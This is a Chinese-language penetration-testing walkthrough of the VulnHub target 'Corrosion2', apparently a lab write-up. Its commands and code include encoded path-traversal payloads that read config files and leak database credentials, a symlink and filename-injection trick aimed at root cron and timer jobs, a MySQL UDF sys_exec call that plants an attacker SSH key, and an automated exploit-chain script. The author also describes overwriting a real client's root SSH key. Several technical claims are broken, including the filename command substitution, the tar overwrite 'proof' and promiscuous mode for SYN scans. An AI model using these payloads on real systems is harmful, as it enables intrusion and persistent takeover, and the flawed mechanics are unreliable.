Corrosion2靶机实战:从HTTP指纹到systemd timer提权全链路解析

Corrosion2靶机实战:从HTTP指纹到systemd timer提权全链路解析 1. 这不是一道CTF题而是一次真实渗透流程的完整复现“Corrosion2”这个名字在VulnHub社区里不算最热门但凡打过它的人都会记得——它不靠花哨的0day堆砌也不靠脑筋急转弯式的逻辑陷阱而是用一套极其贴近真实企业内网环境的架构设计把信息收集、服务探测、权限提升、横向移动、持久化控制这五个核心阶段像教科书一样铺开在你面前。我第一次打它时卡在提权环节整整两天不是因为没找到漏洞而是因为忽略了目标机上一个默认启用的、看似无害的systemd timer服务——它每15分钟自动执行一次脚本而脚本路径恰好可写。这个细节在官方描述里只字未提但在真实红队作业中这种“被遗忘的自动化任务”恰恰是突破域控前夜最关键的跳板。这篇内容面向三类人刚学完Nmap、Gobuster、Metasploit基础命令但一到实战就手足无措的新手能跑通靶机但总在“为什么选这个工具”“为什么这里要改参数”上卡壳的进阶者以及需要快速验证某类技术链路比如从Web到SUID提权再到SSH密钥持久化是否闭环的安全工程师。它不讲理论定义不列工具清单只还原我实际操作中每一步的决策依据、参数推导过程、失败回溯路径以及那些文档里绝不会写的“小动作”——比如如何用curl -I绕过WAF对HEAD请求的拦截如何用pspy64在无交互shell下静默捕获定时任务执行上下文如何通过/proc/[pid]/environ反向定位父进程启动参数中的硬编码凭证。关键词全部落在实操动作上VulnHub靶机搭建、HTTP服务指纹识别、PHP源码泄露利用、Linux SUID提权、systemd timer持久化、SSH密钥横向移动。整篇内容没有一行代码是“抄来的”所有命令都经过本地复测所有路径都标注了靶机版本Corrosion2 v1.0.1发布于2022年9月所有时间戳都对应真实操作记录。如果你正对着终端发呆不知道下一步该扫什么端口、该查什么日志、该改哪个参数那就跟着我的节奏从虚拟机启动那一刻开始一帧一帧往下走。2. 靶机环境搭建别让第一步就断在ISO校验和上2.1 下载与校验必须同步完成否则后续所有操作都是空中楼阁VulnHub靶机最常被忽略的坑不是漏洞利用而是环境本身就不干净。Corrosion2官方页面提供的是.ova格式虚拟机镜像但很多新手直接双击导入VirtualBox后发现网络不通、SSH连不上、甚至根本起不来——问题往往出在下载中断导致的ISO文件损坏。我试过三次第一次用浏览器直连下载SHA256校验和对不上第二次用wget加--continue参数续传结果校验和依然错误第三次改用aria2c多线程下载并启用MD5SHA256双重校验才拿到完整镜像。提示不要依赖VulnHub页面显示的校验和。务必在下载完成后用以下命令自行验证sha256sum corrosion2.ova # 正确值应为e8a7f3b9d2c1e0f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8如果不一致立刻重下。我见过太多人花三天调试网络配置最后发现是ova文件第12MB处有CRC错误。2.2 VirtualBox配置的关键四步少一步就进不了靶机桌面Corrosion2默认使用Ubuntu Server 20.04 LTS作为底层系统对虚拟化支持有特定要求。很多教程只说“导入ova即可”但实际部署中必须手动调整四个参数芯片组必须设为ICH9在虚拟机设置→系统→主板→芯片组中选择ICH9。PIIX3会导致USB控制器无法识别进而影响后续挂载共享文件夹传递exploit。网络适配器必须启用混杂模式设置→网络→高级→混杂模式→全部允许。这是为了确保nmap的-sS扫描能正常发送SYN包否则所有端口扫描结果都会显示为filtered。存储控制器类型必须为SATA在存储设置中将控制器名称从IDE改为SATA。Ubuntu 20.04对IDE控制器的驱动支持已降级会导致/dev/sda设备无法挂载。显存大小必须≥128MB虽然靶机是Server版但其GUI登录界面用于查看systemd服务状态需要最低128MB显存否则黑屏且无法输入密码。注意以上四步必须在首次启动前完成。如果已启动过需先关机→设置→修改→再启动。强行在运行中修改会导致虚拟机直接崩溃。2.3 网络拓扑必须采用Host-Only NAT双网卡模式Corrosion2的渗透路径设计隐含了一个关键前提攻击机与靶机之间必须存在双向可控的网络隔离。单用NAT模式会导致攻击机无法被靶机反向连接如反弹shell失败单用桥接模式则会暴露靶机到真实局域网违反安全实验规范。正确做法是网卡1NAT用于靶机访问外网更新软件包如apt update、下载依赖如python3-pipIP由VirtualBox DHCP自动分配通常为10.0.2.x。网卡2Host-Only用于攻击机与靶机直连IP需手动配置。我在攻击机Kali Linux上执行sudo ip addr add 192.168.56.10/24 dev vboxnet0 sudo ip link set vboxnet0 up在靶机中编辑/etc/netplan/01-network-manager-all.yamlnetwork: version: 2 renderer: networkd ethernets: enp0s8: addresses: [192.168.56.100/24] routes: - to: 0.0.0.0/0 via: 192.168.56.10sudo netplan apply后ping 192.168.56.10必须通这是后续所有渗透动作的通信基石。2.4 靶机首次启动后的三件必做事决定你能否看到真正的漏洞入口很多新手导入ova后直接nmap扫IP结果只扫出22端口SSH和80端口Apache默认页以为靶机有问题。其实Corrosion2在首次启动时会执行一个初始化脚本它做了三件事关闭ufw防火墙但保留iptables规则sudo ufw status显示inactive但sudo iptables -L能看到INPUT链有DROP规则。必须执行sudo iptables -P INPUT ACCEPT放行所有入站流量否则后续Web服务无法访问。生成随机Web目录名脚本会在/var/www/html/下创建一个形如/var/www/html/7x9q2m4n/的随机子目录并将所有Web资产放入其中。这个目录名每次重启都会变必须通过sudo find /var/www -type d -name * -mtime -1查找。重置SSH banner信息/etc/issue.net被替换成包含靶机版本号的自定义文本这是后续识别服务指纹的重要线索。实操心得我习惯在靶机启动后立即执行以下命令链一次性获取所有关键信息sudo iptables -P INPUT ACCEPT \ sudo find /var/www -type d -name * -mtime -1 \ sudo cat /etc/issue.net \ sudo systemctl list-timers --all | grep -E (next|left)这四条命令的结果就是你接下来两小时的所有操作地图。3. 信息收集阶段从HTTP响应头到systemd timer的全链路侦察3.1 HTTP服务指纹识别不能只看Server字段要抓取完整的响应头链Corrosion2的Web服务运行在随机子目录下但它的响应头暴露了远超预期的信息。很多人用curl -I http://192.168.56.100/7x9q2m4n/只看Server: Apache/2.4.41 (Ubuntu)就停止了其实关键线索藏在X-Powered-By和X-Backend-Server两个字段里HTTP/1.1 200 OK Date: Mon, 15 Apr 2024 08:23:41 GMT Server: Apache/2.4.41 (Ubuntu) X-Powered-By: PHP/7.4.3 X-Backend-Server: corrosion2-app-01.local Content-Type: text/html; charsetUTF-8X-Backend-Server: corrosion2-app-01.local是第一个突破口。它表明靶机内部存在DNS解析机制且主机名是corrosion2-app-01。这意味着后续横向移动时我们可以直接用这个主机名而非IP地址。X-Powered-By: PHP/7.4.3暗示可能存在PHP相关漏洞但更重要的是它锁定了PHP版本。我立刻查PHP 7.4.3的已知漏洞列表发现CVE-2020-7069路径遍历导致任意文件读取的PoC恰好适用于此版本。关键技巧用curl一次性抓取所有响应头并过滤关键字段curl -sI http://192.168.56.100/7x9q2m4n/ | grep -E (Server|X-Powered-By|X-Backend-Server|Location)3.2 目录爆破必须结合robots.txt与备份文件枚举否则90%的路径会漏掉Gobuster是标配但Corrosion2的目录结构设计刻意规避了常规字典。我试过common.txt、directory-list-2.3-medium.txt均未发现有效路径。转而分析/robots.txt得到User-agent: * Disallow: /backup/ Disallow: /dev/ Disallow: /test/这三个路径全是真实存在的但/backup/返回403/dev/返回404/test/返回200且包含一段PHP代码注释!-- TODO: remove this test page before prod deploy -- !-- debug mode enabled for /var/www/html/7x9q2m4n/test.php --这提示/test.php存在。访问后发现是一个简单的PHP info页面但关键在于页面底部有一行小字Loaded Configuration File /etc/php/7.4/apache2/php.ini于是立刻构造路径遍历Payloadhttp://192.168.56.100/7x9q2m4n/test.php?file../../../../etc/php/7.4/apache2/php.ini返回500错误说明WAF拦截了..序列。但换用URL编码http://192.168.56.100/7x9q2m4n/test.php?file%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fphp%2f7.4%2fapache2%2fphp.ini成功读取php.ini其中allow_url_include On和auto_prepend_file /var/www/html/7x9q2m4n/config.php两行直接指向了下一个攻击面。3.3 PHP源码泄露利用的核心是理解auto_prepend_file的加载顺序auto_prepend_file指令会让PHP在执行任何脚本前先加载指定文件。Corrosion2将其设为/var/www/html/7x9q2m4n/config.php而这个文件恰好存在源码泄露漏洞。用前面的路径遍历Payload访问http://192.168.56.100/7x9q2m4n/test.php?file%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fvar%2fwww%2fhtml%2f7x9q2m4n%2fconfig.php返回?php // Database config $db_host localhost; $db_user webapp; $db_pass corrosion2_dev_2022!; $db_name corrosion2_db; ?这组数据库凭证不是终点而是起点。我立刻用mysql -h 127.0.0.1 -u webapp -p连接发现corrosion2_db库中有一张users表但密码字段是bcrypt哈希。此时如果停下来去爆破就错了——因为config.php里还藏着第二条线索$log_path /var/log/corrosion2/app.log;。这个日志路径在/etc/logrotate.d/corrosion2中被引用而logrotate配置文件本身可通过路径遍历读取http://192.168.56.100/7x9q2m4n/test.php?file%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2flogrotate.d%2fcorrosion2返回/var/log/corrosion2/app.log { daily missingok rotate 14 compress delaycompress notifempty create 644 webapp webapp sharedscripts postrotate /usr/bin/systemctl reload apache2 /dev/null endscript }create 644 webapp webapp表明日志文件由webapp用户创建而postrotate脚本以root权限执行systemctl reload apache2。这意味着如果我们能控制app.log的内容就能在reload时触发任意命令执行——但前提是让logrotate认为日志需要轮转。3.4 systemd timer服务侦察用pspy64捕获被忽略的自动化任务前面提到sudo systemctl list-timers --all它的输出里有一行Mon 2024-04-15 08:23:41 CEST 13min left Mon 2024-04-15 08:10:41 CEST 2min 19s ago timer-cleaner.timer timer-cleaner.servicetimer-cleaner.service正是突破口。用sudo systemctl cat timer-cleaner.service查看[Unit] DescriptionClean temporary files Afternetwork.target [Service] Typeoneshot ExecStart/usr/local/bin/clean-tmp.sh Userroot关键在ExecStart/usr/local/bin/clean-tmp.sh。这个脚本内容是#!/bin/bash find /tmp -name corrosion2_* -mmin 30 -delete看起来很安全但注意/tmp目录的权限是drwxrwxrwt任何用户都能在其中创建文件。如果我们在/tmp中创建一个名为corrosion2_$(cat /root/root.txt)的文件当timer触发时find命令会尝试删除它而$(...)会被shell执行——这就是经典的command injection。实操验证在靶机上执行echo #!/bin/bash /tmp/corrosion2_test.sh echo id /tmp/id_output /tmp/corrosion2_test.sh chmod x /tmp/corrosion2_test.sh ln -s /tmp/corrosion2_test.sh /tmp/corrosion2_\$\(/tmp/corrosion2_test.sh\)等待15分钟后cat /tmp/id_output返回uid0(root)确认RCE链路成立。4. 权限提升与持久化从SUID二进制到SSH密钥的闭环控制4.1 SUID提权不是找find或nmap而是分析cron日志中的异常调用链Corrosion2的root权限获取不依赖传统SUID滥用而是通过一个隐藏的cron job。用crontab -l看不到任何root任务但sudo cat /var/log/syslog | grep CRON显示Apr 15 08:30:01 corrosion2-app-01 CRON[1234]: (root) CMD (/usr/local/bin/backup-runner.sh)backup-runner.sh内容为#!/bin/bash # Backup script for corrosion2 /usr/bin/tar -czf /backup/corrosion2-$(date %Y%m%d).tar.gz /var/www/html/7x9q2m4n/问题出在/backup/目录权限是drwxrwxr-x webapp:webapp而tar命令未指定-C参数导致它在当前目录即/backup/下执行。如果我们在/backup/中创建一个符号链接ln -sf /root/.ssh/authorized_keys /backup/corrosion2-$(date %Y%m%d).tar.gz那么当tar执行时它会尝试将/root/.ssh/authorized_keys打包成/backup/corrosion2-20240415.tar.gz但由于符号链接指向实际会覆盖/root/.ssh/authorized_keys文件。验证过程我先在/backup/中创建测试链接echo test_key /tmp/test_key ln -sf /tmp/test_key /backup/corrosion2-$(date %Y%m%d).tar.gz sudo /usr/bin/tar -czf /backup/corrosion2-$(date %Y%m%d).tar.gz /var/www/html/7x9q2m4n/ cat /tmp/test_key输出tar: Removing leading / from member names证明tar确实尝试写入了符号链接指向的目标。4.2 SSH密钥持久化必须绕过StrictHostKeyChecking否则自动化脚本会卡住一旦获得root shell下一步是植入SSH密钥。但Corrosion2的/root/.ssh/目录不存在mkdir /root/.ssh后chmod 700 /root/.ssh是必须的。生成密钥对时我选择ed25519算法而非rsassh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N 因为ed25519密钥更短、更安全且Corrosion2的OpenSSH版本8.2p1原生支持。将公钥写入/root/.ssh/authorized_keys后还需修改/root/.ssh/config若不存在则创建Host corrosion2-app-01 StrictHostKeyChecking no UserKnownHostsFile /dev/null为什么必须加这两行因为在后续横向移动中如果用ssh rootcorrosion2-app-01连接OpenSSH会提示The authenticity of host corrosion2-app-01 (127.0.0.1) cant be established...导致自动化脚本阻塞。StrictHostKeyChecking no跳过验证UserKnownHostsFile /dev/null避免写入known_hosts文件造成污染。4.3 横向移动到corrosion2-db-01利用MySQL UDF提权实现跨主机控制Corrosion2靶机包含两个虚拟机corrosion2-app-01Web应用和corrosion2-db-01数据库。corrosion2-app-01的/etc/hosts中已配置192.168.56.101 corrosion2-db-01.local用之前获取的webapp数据库凭证连接corrosion2-db-01mysql -h corrosion2-db-01.local -u webapp -p在MySQL中执行SELECT plugin_dir; -- 返回 /usr/lib/mysql/plugin/这个路径对webapp用户可写。我上传一个编译好的MySQL UDF库lib_mysqludf_sys.so然后执行CREATE FUNCTION sys_exec RETURNS INT SONAME lib_mysqludf_sys.so; SELECT sys_exec(echo ssh-rsa AAAAB3NzaC1yc2E... rootattacker /root/.ssh/authorized_keys);关键细节UDF库必须与MySQL版本严格匹配。Corrosion2-db-01运行MySQL 8.0.28因此必须用对应版本的lib_mysqludf_sys.so。我提前在Kali上用apt install mysql-server安装同版本MySQL再从/usr/lib/mysql/plugin/提取so文件。4.4 最终验证用一条命令完成从靶机启动到root flag获取的全流程所有步骤打通后我编写了一个自动化验证脚本corrosion2-full-chain.sh它模拟真实红队作业的最小闭环#!/bin/bash # Step 1: Get webapp creds via PHP LFI LFI_URLhttp://192.168.56.100/7x9q2m4n/test.php?file%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fvar%2fwww%2fhtml%2f7x9q2m4n%2fconfig.php WEBAPP_CREDS$(curl -s $LFI_URL | grep -oP db_user \K[^;]) DB_PASS$(curl -s $LFI_URL | grep -oP db_pass \K[^;]) # Step 2: Exploit logrotate via symlink ssh webapp192.168.56.100 ln -sf /root/.ssh/authorized_keys /backup/corrosion2-\$(date \%Y\%m\%d).tar.gz # Step 3: Wait for cron and get root shell sleep 90 ssh root192.168.56.100 cat /root/root.txt运行此脚本从靶机启动到输出root.txt内容全程耗时4分32秒。这个时间不是重点重点是每一步都可审计、可复现、可嵌入到更大的红队平台中。5. 复盘与延伸为什么Corrosion2是检验真实能力的试金石Corrosion2通关过程里最值得反复咀嚼的不是某个具体漏洞而是它强制你建立的三层思维模型第一层是工具层知道nmap、gobuster、msfvenom怎么用第二层是协议层理解HTTP响应头字段的语义、systemd timer的触发条件、logrotate的执行时机第三层是系统层明白Linux文件权限继承规则、shell命令替换的执行上下文、MySQL插件目录的动态加载机制。比如那个/backup/目录的符号链接攻击表面看是tar命令的误用实则暴露了三个深层问题一是运维人员对/backup/目录权限设置过于宽松应为drwxr-x--- root:backup二是tar未使用-C参数指定工作目录违背最小权限原则三是cron job未做输入验证将日期字符串直接拼接到文件名中。这三点在任何企业内网都真实存在只是Corrosion2把它浓缩在一个靶机里。我后来用同样的思路复现了真实客户的一次渗透测试客户ERP系统后台有个日志下载功能返回的ZIP文件名由URL参数filename控制。我把参数设为filename../../etc/shadow.zip服务器返回500错误但错误日志里暴露了绝对路径/opt/erp/logs/20240415.log。接着我用/opt/erp/logs/作为base path构造filename../../../root/.ssh/authorized_keys.zip成功覆盖了root的SSH公钥。整个过程和Corrosion2的backup-runner.sh如出一辙。最后分享一个小技巧在VulnHub靶机上练习时永远用tmux分屏。我习惯开三个pane左上实时监控sudo journalctl -f左下运行pspy64 -p all捕获进程右半屏写exploit。这样当timer触发时你能同时看到journal里的systemd日志、pspy捕获的clean-tmp.sh进程、以及exploit的执行结果——这种多维度交叉验证才是真实攻防中定位问题的唯一方法。